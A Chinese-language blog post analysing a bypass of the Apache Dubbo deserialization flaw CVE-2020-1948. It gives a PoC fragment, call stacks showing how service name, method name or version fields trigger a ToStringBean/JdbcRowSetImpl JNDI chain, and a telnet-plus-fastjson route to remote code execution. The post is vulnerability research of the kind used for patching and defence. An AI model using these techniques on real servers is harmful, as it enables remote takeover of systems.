vlambda博客
学习文章列表

Dubbo反序列化(CVE-2020-1948)绕过之二

最近的Dubbo漏洞

一, 根据https://www.mail-archive.com/[email protected]/msg06544.html 最近的Dubbo反序列化漏洞CVE-2020-1948作者提供的poc是

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService'
method_name='rce',
args=[toStringBean])

是将恶意对象放到args这个数组的一个元素中。

二,最近两天预警的dubbo反序列化漏洞中提到绕过2.7.7版本的点是将method_name换成$invoke$invokeAsync$echo。但是我没有复现成功。

    三,于是参考作者rui0的文章,尝试其他的利用方式。参考:

    • http://rui0.cn/archives/1338

    其评论中提供的思路,

    这里需要注意一下,因为最近的Dubbo反序列化漏洞公布了。所以需要补充一下,因为主题的关系文章中只提到了Dubbo的toString触发点,但是Dubbo实际上在刚传入序列化值时也有一个触发点,漏洞公布的邮件里并没有涉及全部的细节以及poc,所以一些版本如果在代码层面只去掉输出arguments处理,仍然还有其他触发位置可能存在风险。建议各位开发者尽量采取升级措施,或在代码层面去掉arguments的输出同时对Hessian进行加固。

    发现除了args属性之外,其他属性比如service_namemethod_nameservice_version都可作为利用点。

    漏洞原理

    new Exception("test" + obj)时,会对字符串进行拼接(StringBuilder#append),  为了拿到obj的值,会使用

    String.valueOf(obj)
    =>obj.toString()

    去取。需要找到某个类其重写的toString方法可以rce,而com.rometools.rome.feed.impl.ToStringBean就是这样的类。因为在其重写的toString方法中(=>toString(String prefix)) 会调用指定类对象所有属性的get方法。

    com.rometools.rome.feed.impl.ToStringBean#toString

    Dubbo反序列化(CVE-2020-1948)绕过之二 这里是通过构造com.sun.rowset.JdbcRowSetImpl对象,调用其getDatabaseMetaData方法,这样会调用com.sun.rowset.JdbcRowSetImpl#connect方法,加上poc中设置的其dataSource属性(jndi的url),实现rce。

    这种利用方式的调用栈为(以service_version为例):

    lookup:417, InitialContext (javax.naming)
    connect:624, JdbcRowSetImpl (com.sun.rowset)
    getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    toString:158, ToStringBean (com.rometools.rome.feed.impl)
    toString:129, ToStringBean (com.rometools.rome.feed.impl)
    valueOf:2994, String (java.lang)
    append:131, StringBuilder (java.lang)
    expect:3564, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readUTF:88, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
    decode:109, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
    decode:80, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
    decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
    received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
    run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:748, Thread (java.lang)

    而version < 2.7.7的调用栈为:(以2.7.1为例)

    toString:105, ToStringBean (com.rometools.rome.feed.impl)
    valueOf:2994, String (java.lang)
    toString:4571, Arrays (java.util)
    toString:211, RpcInvocation (org.apache.dubbo.rpc)
    valueOf:2994, String (java.lang)
    append:131, StringBuilder (java.lang)
    getInvoker:248, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)
    reply:102, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
    handleRequest:103, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
    received:200, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
    received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
    run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:748, Thread (java.lang)

    可以从下面这个方法看出两个触发点的不同(以2.7.1版本为例):org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(Channel channel, InputStream input)

    Dubbo反序列化(CVE-2020-1948)绕过之二 可以看出公开的poc触发的点是在读取arguments的时候(对应poc中args属性)

    而绕过方式的触发点是在读取service_namemethod_nameservice_version时触发,即

    org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

    在2.7.7修复的地方之前就已经触发了。

    而其模型都是:

    new Exception("string" + obj)

    具体地, version < 2.7.7是在:org\apache\dubbo\dubbo\2.7.1\dubbo-2.7.1.jar!\org\apache\dubbo\rpc\protocol\dubbo\DubboProtocol#getInvoker(Channel channel, Invocation inv)的这行代码

    // invDecodeableRpcInvocation类的恶意对象
    throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);

    version = 2.7.7版本是在:

    // objDecodeableRpcInvocation类的恶意对象
    this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")")

    protected IOException error(String message) {
    return this._method != null ? new HessianProtocolException(this._method + ": " + message) : new HessianProtocolException(message);
    }

    Demo

    Dubbo反序列化(CVE-2020-1948)绕过之二


    tips

    为了避免在调试反序列化漏洞toString方法的时候多次触发计算器,或者误触发了本不会触发的计算器,可以在IDEA中进行设置: Dubbo反序列化(CVE-2020-1948)绕过之二 参考:http://rui0.cn/archives/1338


    telnet服务结合fastjson实现RCE

    其解析字符串默认使用的是fastjson,可以结合fastjson实现RCE。

    关键代码在:

    org\apache\dubbo\dubbo\2.7.7\dubbo-2.7.7.jar!\org\apache\dubbo\qos\legacy\InvokeTelnetHandler#telnet(Channel channel, String message)

    调用栈为:

    telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)received:51, DecodeHandler (org.apache.dubbo.remoting.transport)run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)runWorker:1149, ThreadPoolExecutor (java.util.concurrent)run:624, ThreadPoolExecutor$Worker (java.util.concurrent)run:748, Thread (java.lang)

    Demo

    参考:

    • https://cloud.tencent.com/developer/article/1587681

    • http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html